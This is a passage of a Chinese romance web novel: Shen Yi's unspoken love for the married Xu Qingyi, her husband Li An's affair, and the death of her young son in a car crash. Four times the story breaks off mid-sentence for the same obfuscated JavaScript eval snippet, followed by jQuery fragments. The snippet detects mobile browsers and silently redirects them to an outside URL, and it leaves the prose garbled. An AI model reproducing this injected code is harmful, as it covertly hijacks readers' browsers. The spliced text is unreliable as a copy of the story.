沈翌的话哽在喉间,售货员将包装好的盒子拿了过来,他没再回答徐清旖的话,直接过去结了账。 他昨天有商量过要给许安怡买项链的事情,许安怡想要自己付钱。 但是沈翌说从某方面讲,他也困住了许安怡,他也应该感谢她。 许安怡被堵得说不出话,只能说:“那你明天让徐小姐陪你去买吧,明晚你就要走了。” “我问问她。” 许安怡情绪不明地看了他一眼,“沈翌,你应该学着自私一点。” 思及此,沈翌停下脚步,“陪我去买项链吧,就当是送给你的新年礼物。” “我?”徐清旖指了指自己,“不用了,我也不怎么出门。” “你以前……喜欢高跟鞋,也很爱美。” 沈翌抿抿唇,“上学的时候课桌上会摆一个小镜子,爬念青山的时候棉袄也要粉色,在阿伯丁登船的时候,因为害怕下雨鞋子会脏你担心了很久。” 沈翌的眼神看得徐清旖十分不自在,她清楚自己变了很多,但不敢去面对这些改变。 尤其是在沈翌面前,似乎是被迫去面对一个满身泥泞的、失败且不堪的自己。 她的神色冷了冷,看向一旁的指示牌,“走吧,那边有一个很大的饰品店,你应该送给许小姐。” 沈翌便不再多言。 “可以给我看一看这一款吗?”沈翌指着柜台里的一条项链说。 那是一条吊坠很不规则的项链,类似于数学中的无穷符号。 底部镶着一圈碎钻,中间镂空的部分又点缀了一颗很漂亮的粉钻。 熠熠闪光、美丽动人。 沈翌凝视着项链几秒,转头问徐清旖,“帮我试一试吧,她和你差不多瘦。” 徐清旖顿了顿,然后说“好”。 可能是一时没想起来颈侧有淤青的事,也可能是她知道沈翌已经猜到,所以徐清旖并没有再多隐藏,直接将头发束在一起撩了起来。 售货员想要替她戴,却听见沈翌道:“我来吧。” 徐清旖瘦得厉害,沈翌站在她身后,看见她薄薄的肩头心中一阵苦涩。 他看清了徐清旖的脖颈,不止左耳下侧,右耳周边一圈几乎都有淡淡的青紫色,如果不是现在自己离得太近,恐怕也难以看出来。 “好了吗?” 沈翌愣神过后,原本想说什么,对上徐清旖抬眼的视线,却什么都说不出。 他轻扣好项链末端,“好了。” 他的眼光很好,徐清旖的确很适合这条项链,更显皮肤白皙、脖颈修长。 沈翌看了几秒,“换一条吧。” 这是这家店里最昂贵的一条项链,售货员极力推销了几句,大意都是“小姐戴着很漂亮啊。” 沈翌摇了摇头,没有接对方的话。 替许安怡选好项链以后,他说要一起去吃饭。 彼时已经下午一点,吃至中途的时候,沈翌将装着项链和手镯的袋子递给她,麻烦徐清旖把礼物送出去。 “我就不去了,昨晚已经告过别了。”沈翌说:“下午我去酒店收拾行李,直接去机场,就不用送了。” 徐清旖点点头,听见他说:“下一次见岁岁不知道什么时候了,刚好我在上海还要见一个小孩,吃完饭你再陪我去买两个玩具吧,你比我懂一些。” “这一次别推辞,是送给孩子的。” - 徐清旖在沈翌送给岁岁的那个袋子的最底部发现了另一个盒子,打开之后才知道是上午自己试过的那一条项链。 岁岁看着她手里的项链,“妈妈,你戴着一定很漂亮!” 徐清旖不能够描述心里的感觉,她不记得沈翌是什么时候去买的这条项链。 下午回家以后,她先是将母亲的礼物送给她,然后和母亲一起去拜访了许安怡和许母,直到这会儿才刚刚回来。 她看了看时间,估计沈翌已经到上海,走到客厅给他打电话。 沈翌此时正在孟晨的办公室,原本他只是来和他们一家人见一面的,但刚好碰上上海本部工作纰漏,于是他跟着过来帮点力所能及的忙。 下个季度即将发布的新系列中一个零件的设计图出了问题,孟晨在前几天复查的时候才发现这件事,只能庆幸还没有开发布会。 数据上的问题,解决起来并不算麻烦。 孟晨给自己临时加了个座位,让沈翌坐在他的位置上,两个人面对面埋着头算数据。 他找了人给办公室送饭,沈翌下飞机后就直接过来了,行李此时都还放在门口。 孟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389917|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晨心里感激得不行,休息的间隙,沈翌问他:“你还记得我以前参加建模大赛吗?” “知道这事儿,怎么了?” “当时我们组也是这样,坐在一个屋子里埋头算自己分到的数据组。只有吃饭的时候才能说说话,等到做完所有的材料以后,我们又出门去喝酒、聊天。” “你是在让我结束了请你吃饭吧?”孟晨笑着问他。 “也可以这样理解。”沈翌说着,电话响了起来。 徐清旖问他现在在哪里,沈翌说自己在酒店准备休息。 转头向一脸疑惑的孟晨比了一个“嘘”的手势,听见徐清旖说:“项链我看见了。” “看见了就好。”沈翌走到孟晨身边,伸手摸他挂在椅子上的衣服右边兜,那是孟晨最习惯放烟的位置。 孟晨看着他轻车熟路的样子被气笑了,拍开他的手,自己把烟拿出来递给他。 看见沈翌右手拿着电话,又拿过打火机给他点燃。 沈翌拍拍他的肩,嘴里叼着烟像是在说:“挺不错的。” 孟晨摆摆手,心甘情愿给他当小弟,转身出门去等饭,把办公室留给了他。 “谢谢你,不过它太贵重了。”徐清旖说:“你什么时候去买的?” “下午我说我去洗手间那会儿。”沈翌一只手捏着烟,呼出一团白气,“那时候我是骗你的。” “嗯。” “我的意思是,我那时候没有说你戴着它很漂亮不是本意,它很适合你。” “你对我太好了,对岁岁也是。” 沈翌听出她话语中的推辞,“就当是生日礼物吧。” “我的生日在十月。” “我知道,那时候我肯定也没办法陪着你。” 沈翌苦笑了一声,他将剩下的烟头放在烟灰缸里拧灭,“清旖,如果你不高兴,不要勉强自己。” “我很想拉着你走,但是很抱歉我什么也做不了,对不起。” “我会好好考虑的,谢谢你。” 徐清旖抹了抹眼睛里掉出来的一点泪,“那天你说我说过希望你和许小姐在一起,你还记得那是什么时候吗?” “记得。你婚礼的前一天,威灵顿拱门下面。” 他记得清清楚楚,那时候自己为了不参加婚礼,撒了一个劣质又满是漏洞的谎言。 这么多年过去了,知道真相的竟然还是只有他自己。 “我还记得,你说我们两个只要有一个幸福就好了。” 徐清旖的声音带着浓浓的鼻音,“所以当我妈妈提起许小姐我就想起了这件事,我希望你能够开心。” 沈翌感受到心中一阵痛,他几乎要将自己近二十年的感情说出来。 却听见徐清旖说:“我不会和李安离婚的,他是岁岁的父亲,我希望岁岁可以在一个完整的家庭里长大。” “我们还是好朋友,对吧?”徐清旖问。 孟晨取完餐回来,推开门看见沈翌一副很疲惫的样子。 他的眼下一片青紫,垂着眼,嘴角扯出一个很轻的弧度,声音很轻。 “当然。” 43. 好时光 李安刚从英国回来,在门口看见鞋子时他还在玄关犹豫了一会儿,然后才埋着头走进屋子里。 徐清旖正在厨房做饭,看见他回来之后,去饮水机边给他接了一杯水。 “你去了哪里?” “我回了伦敦。”李安低着头没和她对视,“岁岁呢?” “生病了,在睡觉。” “旖,那天我不是故意的……” 徐清旖打断他的话,她说:“不要说了,李安。我在想,我们之间或许需要好好谈谈。” “我不离婚。”李安急忙道:“我父亲已经同意我们在一起了。” 他握着徐清旖的手,“我父亲让我们找个时间带着岁岁回去一趟,我们的生活已经开始变好了,真的。” 徐清旖看着他于心不忍,“好,我信你一次。” 之后的日子,李安似乎真的慢慢变好了起来。 他会在早起工作的时候为徐清旖和岁岁做好早饭,会在每天下班后准时回家,会在晚饭后带着妻子和小孩去楼下的小区里散步。 天气渐渐回暖,黄昏下路灯将他们的影子拉得很长很长。 一切都好像在变好。 五月中旬,徐清旖一直合作的出版社即将进行改版。 他们将会推出一种期刊杂志,其中有一个固定的单元是有关西方文学的,想要和徐清旖进行长期合作。 收到消息时徐清旖十分高兴,她想要和别人分享自己的喜悦,才发现自己结婚后好像几乎与所有的朋友失去了联系。 徐清旖叹了一口气,在床头柜里翻了翻,找到了曾经留下的林知一的电话。 她和知一见面已经是几年前自己刚生下岁岁的时候了,现在她和肖珩一起搬去了上海。 隔着很远的距离,见面也就更不容易了。 徐清旖把那串号码看了两遍,还是没忍住拨了过去。 林知一在电话里很感慨,说以为徐清旖已经将她遗忘。 “抱歉,知一,我……” “不过你能联络我,我就已经很开心了。”林知一说:“我现在正在出差,否则肖珩也能和你说几句话。” “我也很想他,你们我都很想念。” “我们前段时间还聊起你,他一定也很想你。清旖,你现在过得好吗?” “我还在黎江,之前一直在做一个报刊的翻译工作,不过今天收到了消息,说不定可以谈下来一个杂志的固定单元。” “那太好了!”林知一说:“是在哪里?” “工作我可以留在黎江,不过我这几天要去他们出版社一趟,在长沙。” “那太巧了,我现在就在长沙出差,你过来我们可以住在同一家酒店。” 徐清旖说:“我明天就去订票,你在那里待几天?” “还要一段时间,我现在换了个部门,你知道的,我不可能再和肖珩一起工作。” 徐清旖在晚上吃饭的时候和李安说起这件事,李安也很替她开心。 他从纸抽里取出一张纸替岁岁擦了擦嘴,“你和肖总他们还在联系吗?” “今天刚联系上的,怎么了吗?” “没事。”李安吃了一口菜,“我就是很奇怪,以为你没和他们联系了。” 徐清旖想起来今天和林知一通电话的最后,聊起来自己这些年来几乎封闭的婚姻生活。 林知一对她说:“清旖,我和肖珩都不希望你因为谁而忘记了自己。” 她当然听得明白,这些年自己已经习惯了李安的掌控,不知不觉间失去了原有的朋友和工作。 如果不是还有父母和岁岁,自己真的就如李安所说只剩下他一个人,想到这里她竟然觉得有些难言的恐惧。 “如果过两天我走了,你自己在家可以带好岁岁吗?”徐清旖问他。 李安笑了笑,一只手托着腮。 “当然啦,旖,这段时间我跟着你学了很多了,我现在也是一位称职的父亲了。” - 2002年二月份新年前夕,也就是李安与徐清旖起争执的那天,离开后他气冲冲地来到楼下买了包烟,坐在小区的长椅上抽完了半袋。 他想起来很早的时候有一次遇见沈翌给徐清旖送东西。 那个男人那时和现在完全不一样,想了半天他发现自己的词汇太过匮乏,竟然说不出一个准确的词语来表达自己的感受。 从前他看不起沈翌,现在却不知道怎么形容。 那天是他们公司年会,莉莉安作为他的女伴陪着自己喝了很多酒,他觉得自己满身酒味,夹杂着烟味和女人的香水味。 他恼怒地抓了抓头发,出来时太着急身上也没带多少钱,现在竟然不知道该去哪里。 像是鬼使神差一般,他打了个车去莉莉安家,不久之前他刚给莉莉安送资料来过这里。 事情就是从这天晚上开始一发不可收拾的,刚进门还是客套的寒暄、温热的醒酒汤,莉莉安给他找洗漱用品…… 不知道是谁先起的头,气氛就开始变了,然后是亲吻、仅有的睡衣也被剥下去,最后从沙发到卧室。 李安第二天醒来之后,宿醉的头疼让他的反应变得很缓慢,视野渐渐清明的时候,他看见了遍地的狼藉。 莉莉安的发色很浅,不同于徐清旖的纯黑色,他甚至不能安慰自己这只是一场梦。 他瑟缩着往后退了退,动作惊醒了莉莉安,他咽了口口水,“你……怎么……” 李安下意识想说“你怎么在这儿”,但又惊觉这不是在他家里,更不是在酒店。 那就只有一种可能。 莉莉安的眼睛里带着眼泪,很楚楚可怜的样子,轻声叫他的英文名。 李安很害怕,匆忙说了一句“抱歉”之后就准备离开。 在门口前停了下来,他想起来自己身无分文,现在这个样子回家,徐清旖肯定可以猜出来自己昨晚做了什么。 他听见莉莉安又叫了他一声,她走得很慢,递给他钱包,声音颤抖地说:“没关系,都是我的错。” 最后他没有收下钱包,几乎是落荒而逃。 几乎是跑到了自己的小区楼下,他碰巧看见徐清旖带着岁岁出门,她的长发垂下来,戴着一个蓝色的口罩。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389918|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李安猜测是为了遮挡昨晚自己留下的伤痕。 他心中闪过一种异样的情绪,等到她们离开才迅速回家拿了身份证和钱包去机场。 回到伦敦之后,父亲看见他似乎感到意外。 自从上一面不欢而散,至今已有两年的光阴。 英国人不过春节,但父亲还是找了个理由叫全家人一起回来吃饭。 继母仍旧对李安爱答不理,饭桌上大家提起徐清旖,李安说她回家过新年。 继母瘪着嘴问为什么不带他回去? 李安被戳中心事,喝了一口酒没说话。 夜晚管家来他的房间说父亲找他,于是李安收拾好思绪去了书房。 他被父亲从爱尔兰接回英国以后的很长一段时间里,这间书房都是李安的噩梦。 父亲会在这间书房里惩罚自己的肆意妄为,挂在墙上的戒尺曾在他身上留下过很深很深的伤痕。 虽然现在父亲老了很多,但是威严仍存。 他手抵着拐杖,坐在书桌后的椅子上,问李安究竟发生了什么事。 李安瞒不住他,又或许是此时破天荒地认为这个和自己流着一半相似血液的人值得信任,他讲了这些天来发生的所有事。 父亲沉默了很久,然后问他:“是医院里的那个男人?” “是。” 他见过沈翌,是一个很睿智、成熟的年轻人,他甚至觉得这样的人让自己的儿子产生危机感很正常。 接着又问他:“那位莉莉安小姐,是英国人?” “是。” 李安低着头,他有些害怕父亲下一秒就会让自己离婚娶莉莉安,毕竟这么多年他对于所谓的“血统”是那样执着。 但他很奇怪的没有多说什么,只是带着一种他看不明白的笑容,说:“你比我自私一点。” 李安皱了皱眉,这个词让他很讨厌,可他什么也不敢说,因为他知道是自己的错。 “可是你好像也并不幸福?”父亲捋了捋唇上的胡子,“或许是时候没到?还是你生了愧疚的意思?难得,当年你在学校里打架都不会自责。” 李安还低着头,听见父亲叹了口气,“但我想起来当年我为另一个女人抛弃了你的母亲,她之前陪着我度过了最贫困的岁月,你是因此而愧疚?” “我还以为你是为了你的妻子。”他笑了一声,最后又说:“我帮你瞒着,可以用钱解决就用钱,你自己看着办。” 李安被戳中了心事,脸上一阵红一阵白,而后又惊讶地抬起头。 他和家里断绝经济往来已经有数年,如果这一次父亲松口,他的意思也就是说一切都可以回归原样吗? 最终他也没敢真的问他这些话,他又想起了莉莉安,她真的是可以用钱解决的吗? 离开书房的时候,父亲忽然又叫住他,他说:“Richard,你可以自私,也可以自认为伟大,但不能二者兼得,那不是一个完整的人格。” 李安还没理清他这句话的意思,又听见他的声音。 “什么时候一切结束了,就带她和孩子回一趟英国。” 44. 像尘埃 我的爱 许安怡和沈翌一直断断续续联络着,她有一个好消息和一个坏消息。 坏消息是她的职称评定还没有下来,但项目已经开始了人员招收,也就是说她肯定会错过。 好消息是这个项目明年还有二期,在北京的一所理工大学内,到时候她有资格直接进行申请。 沈翌知道以后十分为她感到高兴,他曾经和穆老师聊起来许安怡,穆老师说许安怡是他见过的很努力的学生之一。 像是把自己未曾完成的愿望寄托出去一样,他对于许安怡的感情,更像是一个前辈对于后者的寄予厚望。 许安怡难得获得了一个很短的假期,此时距离她与沈翌保持这种对外的情侣关系,已经过去了四个多月。 在得到空闲以后,母亲就催促她去香港看一看沈翌。 “我也是没有办法了,到时候我自己出去玩就行。”许安怡给他打电话说。 “没事,有时间我带你出去玩。” “那可以去看维港?” “可以。” “尖沙咀?” “可以。” “带我去吃正宗的港式早茶?” “当然可以。”沈翌笑着说。 距离沈翌正式入职这家公司已经近十年,此时他正面临着有一个选择——他在考虑是否要调职到上海。 一次集团内部的人员调动,假如同意调去上海,沈翌甚至可以直接升职。 表格已经递到他手里。 “我的意见是可以调职。”许安怡说:“沈翌,虽然以我们的关系我说这些不合适,但你也可以作为参考,多考虑考虑自己。” 沈翌开始着手准备调职的材料,斯敏文在国庆的时候举行婚礼,邀请沈翌来参加。 “之前那位?” 斯敏文笑得羞涩,“是他。” 沈翌应允过后还承诺说给包个大红包,“恭喜你,恋爱长跑八年了吧,终于修成正果。” 五月下旬,沈翌在香港的机场接到许安怡。 她穿着一条深棕色的长裙,短发已经齐肩,一侧被整齐别在耳后,看起来干练又利落。 “好久不见。”许安怡说。 沈翌接过她的行李放在后备箱,“酒店订在市中心,距离我们公司和我的公寓不算远,有什么事可以直接给我打电话。” 许安怡点点头,她戴着之前沈翌送的那条项链,吊坠是一只漂亮的天鹅伸着优雅的脖颈。 “想好调职的事了吗?” “材料已经在准备了,过两周就能交上去。” 沈翌双手搭在方向盘上,许安怡看见他的左手腕戴着一块很漂亮机械表。 “我有和你提过我在高中见过你的事吗?” “没听说过。”沈翌也没想到,自从和徐清旖断了联系,他再没听谁提起过高中的事,“感觉过去很久了。” “那时候遇见你在科技楼后面喂猫,看着很内向。” 他偏了偏头,“现在变外向了?” 许安怡否认,“现在你的位置很难内向吧?” “确实。” 两人笑了笑,许安怡又继续道:“说起来,你的变化真的很大,无论是高中的时候,还是大学时、工作后。” “比如呢?” “高中时候的你,校服拉链拉到顶,头发剪得很短,是一副好学生模样。大学的时候……”许安怡似乎在思考,“大学的时候也是好学生,穆老师经常夸你,只是比以前成熟一些。” “在机场见面的时候,你已经去美国了对吧?” 沈翌想起来那次从旧金山回国,点点头,“那时刚去那边,第一次回南城。” “我说呢。”许安怡笑了笑,看向窗外拥挤的车群。 “怎么了?” “那时候的你虽然看着稚气,但多少还是对未来怀着希望的。”许安怡一时嘴快,“不像后来在南城……” 那是徐清旖结婚的时候。 许安怡立刻回头看向他,但沈翌看起来似乎没在意,推动操纵杆踩下油门,车子开始缓慢移动,“怎么了?” 她抿了抿唇,绕开那一次,“而现在的你,看着真像个大人。” “像个大人?”沈翌被这句话逗笑,“我已经三十多岁了,怎么还不是大人。” “三十岁就是大人了?”许安怡捂了捂耳朵,“反正我不是。” “行,你不是,你还年轻。” 车流又停滞下来,许安怡说:“去了上海那边又要重新认识新的人了,这些年来辛苦了。” 沈翌轻笑一声,听多了别人说自己多厉害,忽然有人说自己辛苦了,竟然还有些不习惯。 “没事,那边有很好的朋友,过去可以有个照应。”沈翌说:“老师放假的话,学生不会有意见吗?” “我教的是高数,学生们恨不得我每天都不上课。” 两人都笑出了声。 “我从来没来过香港。” “这次带着你好好玩一玩。” “好啊!”许安怡笑起来,“你算是半个本地人了吧?” “没有。”沈翌摇头,“我也没怎么出去转过,除了工作上谈合作,就只有以前的几个朋友过来旅游我会跟着出去。” “你自己公司不聚餐吗?” 沈翌食指轻轻敲了敲方向盘,回答道:“我们跟着一起的话,他们会有压力。” “高层啊?”许安怡偏过头故意打量他,然后“啧”了一声,“看这白衬衫西装裤,确实是高层。要是配件西装外套就更好了。” “在后边。”沈翌配合她话里的调侃,微微侧了侧脸说:“太热了就脱了,还是高层吗,许小姐?” “是是是。”许安怡朝他连连点头,“沈总好,沈总辛苦了。” 将许安怡送到酒店以后,沈翌说:“今天是工作日,你先自己逛逛,或者休息一天,明天我再带你玩。饿了楼下有餐厅,也可以直接叫客房服务。” “好啦,你去上班吧。” 许安怡收拾好东西,躺在床上给母亲打电话。 母亲问她:“是小沈自己来接的你吗?” “当然了。”她说:“你们这么盯着人家,他怎么会不来接我?” “那不是你们谈朋友吗?” 许母私下里问过许安怡很多次,大致都是他们准备什么时候结婚。 “你们俩年纪都不小了,再不结的话,以后要孩子多危险啊。” “妈。”许安怡打断她,“我说过的,我不生小孩。” “好,不生。以后等你们老了没人给你们养老,就等着哭去吧。” 许安怡不耐烦地说:“随你怎么想吧,还有什么事吗?” “你这孩子,别人小沈不提你就假装不知道,有机会的话还是多问问啊。” 许母为此简直操碎了心,“退一万步,就算你们现在不想要小孩,总要先结婚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389919|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧?” 第二天沈翌带她去了一家本地很有名的茶餐厅吃饭,下午去博物馆的时候,沈翌和她聊起大英博物馆。 “你以前没来过这里吗?”许安怡问他。 “没有。” “我以为你会很喜欢博物馆、图书馆这类地方。” “是挺喜欢的。”沈翌站在一幅古画前,“英国的国博,二楼吧……那里专门开辟了一个中国展厅。” “专门的中国展厅吗?那你是常常去那边想家吧?一个人在英国的时候,就去中国展厅看一看,外国人也很喜欢我们的文化吗?” 许安怡话音刚落,沈翌就转过身来,朝她摇摇头说:“我记得当时的展品是一周轮换一次。” “以前学历史,爷爷说外国人抢走的从来就不是单纯的什么东西,英国人拿走的不止是物质层面,还有精神层面的。” 他站在灯下,回忆起这些年在国外碰到的中国人,大部分都在想尽办法留在国外。 “或许还要再等五年,或者十年,都会慢慢回来的。” 许安怡猜测他这些年孤身一人经历过太多事,这样赤诚的人在外多年仍旧不改初心,实在是太难得。 于是安慰他:“已经在越来越好了,不是吗?” “是的。” 第三天的时候,许安怡说自己要帮朋友买东西,于是沈翌带着她去逛街。 “我好像还没和你提过,我妈当时看见你送的玉镯子开心极了,现在你在她眼里就是世界上最完美的女婿。” 沈翌正在帮她看一种面膜含有的物质,听见她的话回过神问:“什么?” 许安怡被他问得愣了愣,脱口而出,“她问我们什么时候结婚。” 沈翌把手里的面膜放进购物车,没有说话。 “其实我也觉得她太着急了,可能是觉得我已经31岁了。” 许安怡说:“但我和她说过了我不想要孩子,所以……” “安怡。”沈翌看向她,“我可能不能和你结婚。” 许安怡张了张嘴,片刻后忽然笑着拍拍他的肩膀。 “没关系,就算一直不结婚也没有关系,反正咱们两个孤家寡人就这样过下去吧。” 下午六点十二,沈翌带着许安怡来到尖沙咀的一个私人餐厅。 “晚上我回公司处理一点事情,吃完饭我就送你回酒店吧。” “你们公司?我可以去看看吗?”许安怡问。 沈翌想了想,觉得自己大概待不了多久,便同意了她的提议。 北京时间八点过一刻,沈翌正在办公室打印合作案,许安怡站在落地窗前看着维多利亚港璀璨的灯火。 “沈翌。”许安怡忽然出声叫他,沈翌闻声抬起头,她想说话却被一阵电话铃声打断。 沈翌说了一声“不好意思”,然后先接通了电话。 “小沈。”打电话的是徐老师,沈翌的右眼皮不可控地跳了跳,徐老师问他:“你现在忙吗?” “不忙,怎么了吗?” “老师能麻烦你一件事吗?”徐老师的声音听起来疲惫不堪,“你能帮我去黎江陪陪清旖吗?” “今天已经没有车票了,你帮我告诉清旖,我和她妈妈明天一早就过去。” 徐老师的声音又低又哑,沈翌颤抖着开口。 “老师,发生什么事了?” “岁岁出车祸了,她刚从湖南赶回去,我怕她情绪失控。” 45. 风浪里 沈翌仅仅开了几十分钟的车就赶到了黎江市。 许安怡陪在他身边,从沈翌身上感受到那种痛苦又悔恨的情绪,这是她第一次知道他也会着急。 他打不通徐清旖家里的电话,于是决定一家医院一家医院找。 许安怡在一旁提醒他不要慌了阵脚,“我去路边问一问。” 随手把包放在后座,许安怡下车去打听消息。 沈翌坐在驾驶座上,他咬着牙,然后从中控台下摸出来一包烟和一支火机,点火的时候却怎么样也打不燃。 问了好几个路人,才有一个年纪不大的孩子告诉他们今天下午确实发生了一场很严重的事故。 受伤的人里边有小孩,距离事发地最近的是二院。 沈翌已经有几个月没见过徐清旖,此时她正坐在手术室的外边,眼神空洞着,像是一具空空的躯壳。 李安早已不复以往那副样子,他靠坐在手术室门口的墙边,看见沈翌的一瞬间,他偏过头,眼中的情绪不明。 沈翌的每一步都走得很沉重,等到了徐清旖的身边,他尝试了几次才扯出一个笑容。 “清旖。” 他的声音沙哑,许久,曲下腿单膝跪在她身前,又开口,“清旖……” 徐清旖无法从悲痛中回过神来,一动不动像是一只木讷的提线木偶。 沈翌伸出手轻轻放在她的脑后,如同很多年前很多次久别重逢那样伸出手拥抱她。 “会没事的,岁岁平安,会没事的。” 这是岁岁第二次被送进ICU,车祸太严重,他不是唯一的受害者,但是年纪太小, 在第三次手术室灯亮起以后,最终被医生宣告抢救无效。 徐清旖再也撑不住,抓着沈翌衣袖的手瞬间脱力,倒在地上晕了过去。 - 徐清旖去湖南以后,李安履行了作为一名父亲的职责。 这一天岁岁说想要吃东西,李安问他想不想要出去玩。 岁岁仰着头,奶声奶气地说:“好!” 于是李安抱着儿子,准备带他去本地很有名的小吃街三江路逛一逛。 结果在下楼时,他忽然看见了莉莉安。 她穿着一条明黄色裙子,发现李安的时候像是十分错愕一般准备直接离开,李安跑过去问她发生什么事了。 自从上一次的事过去以后,莉莉安和他在公司几乎没有说过话,但是此时在自己小区楼下遇见她,就代表她一定是来找自己的。 莉莉安转过身的一瞬间,脸上猝不及防地滑下两滴泪,她看了看李安身边的岁岁欲言又止。 李安明白过来,皱着眉让她说英文,莉莉安咬了咬唇,还是说:“我怀孕了。” 突如其来的消息砸得李安晕头转向,他不知道该怎样回答一句话,岁岁正乖乖地倚在他腿边。 李安听见自己的声音有些哑,“我们谈谈吧,另外找个地方。” 车祸发生时,是李安让岁岁去街对面帮他买水。 他害怕被孩子听见这些事在无意间转述给徐清旖,所以撒谎说:“爸爸想喝那个,岁岁能去帮我买一下吗?” 他明明有在和莉莉安谈怎样处理时仔细注意岁岁的动向了,可是为什么还是会出现那辆面包车失控地径直撞向那家小店。 高大的中年父亲,第一时间冲向人群,他跪在地上看着倒在血泊中的儿子,双手却不知道应该放在何处。 他声嘶力竭,混杂在周围无数人的唏嘘与哭喊中,从来肆意的他第一次感受到深深的无力感。 人群的惊呼声如同砖块一般压在他的心口,他自己都快要喘不过气来。 直到那几位护士过来拉开他,然后李安眼睁睁看着那么小的岁岁被巨大的担架抬上急救车。 他大概失明了。 他看不清任何东西。 - 沈翌从电梯口出来,右手紧紧握成拳,下一秒就挥到了李安的脸上。 他不知道这其中的弯弯绕绕,只知道徐清旖去了长沙两天,回来却被告知再也见不到她心爱的小孩。 李安准备去外面给徐清旖买东西,他的情绪也不够好,踉跄着走了没几步,在负一层被追上来的沈翌一拳重重地打在了脸侧。 李安的眼里也有泪水,带着悔恨,恶狠狠地叫嚣,“沈翌,你能打死我吗?” 沈翌闻言又举起了手,他揪住李安的衣领,死死地压在对方身上。 一拳又一拳砸得凶狠,许安怡冲过来拉住失控的沈翌,她试图去唤醒他的理智。 “沈翌,这是在医院!” “打死我吧,沈翌,我失去了自己的孩子。” 李安悲戚地喊着:“都是我,是我不对……我不该让他一个人离开,不该带他出门……都是我的不对,都是我……” 沈翌被拽开后,他痛苦地蜷缩在地上,像是还在羊水中的婴儿一样抱住自己,嘴里还在不停地重复。 ——“求求你了,打死我吧。” 许安怡送李安去附近的酒店先休息,沈翌在停车场里又抽了几根烟。 临要离开,他将烟盒随手扔在后座,从后备箱拿了件不知什么时候放在车里的外套换上,然后才往楼上走。 在病房门口,他又反复练习了几遍表情,深呼一口气,轻轻推开了病房门。 徐清旖已经醒过来,正坐在床上准备穿鞋。 沈翌站在门口愣了几秒,在看见被她随意拔掉的输液的针管时,提前练习好的表情瞬间崩坏。 他快步走上前去握住她的肩膀,声音很温柔。 “清旖,你需要休息。” 徐清旖伸出手在沈翌掩下来的黑色的影子上抓了抓,而后才抬头看向他,挤出了一个比哭还难看的笑容。 “沈翌,你来啦?” 沈翌双眼发酸,彻夜未眠导致他的眼下一片青紫,下巴处生出了一片细碎的胡茬,他伸出手摸摸她的头。 “嗯,我来了。” “那你要等一等。”徐清旖做了一个“嘘”的手势。 “小声点,岁岁还在睡觉呢,我要去给他蒸一根香蕉。” 沈翌在她身边坐下来,左手环过徐清旖的肩膀,右手轻轻覆在她的后脑上,声音颤抖,“清旖。” “他最喜欢吃蒸的香蕉了,也不知道今天李安带他出去玩得累不累……如果累了,也许还会吵着要两个。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389920|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 她的声音从耳侧传来,沈翌虽于心不忍,但还是开口:“清旖,岁岁已经不在了。” “说什么呢,沈翌。” 徐清旖用力推他,却被沈翌死死地禁锢在怀里,“你放开我,我听见岁岁在叫我。” “清旖,你冷静一点。” 沈翌再也无法抑制地流下眼泪,“岁岁他去了一个很幸福的地方。” “你胡说!” 徐清旖一口咬在沈翌的肩膀上,眼泪和口水浸湿了一大片,她不停地捶打着沈翌的背脊。 “你胡说,李安也胡说,那个医生也胡说……求求你了,沈翌,让我去看看岁岁吧,那是我的孩子啊……” 沈翌不再说话,徐清旖咬的伤口传来一阵疼痛,应该是渗了血。 “为什么都要这样对我,为什么啊……” “他才那么小,才学会说话多久啊?” “明明前几天他才去机场送我,那时候他还说会乖乖等我回来啊……” “求你了,沈翌,让我见见他吧。不要把我和我的孩子分开,求求你们了……” 不知道过了多久,徐清旖哭到脱力,沈翌将自己的眼泪擦干净,整理好情绪才松开怀里的徐清旖。 “睡一觉,好吗?” 沈翌挤出一个笑容,用手拨开她的头发,此时的徐清旖仿佛是一具木偶,被轻轻放在病床上毫无生气。 - 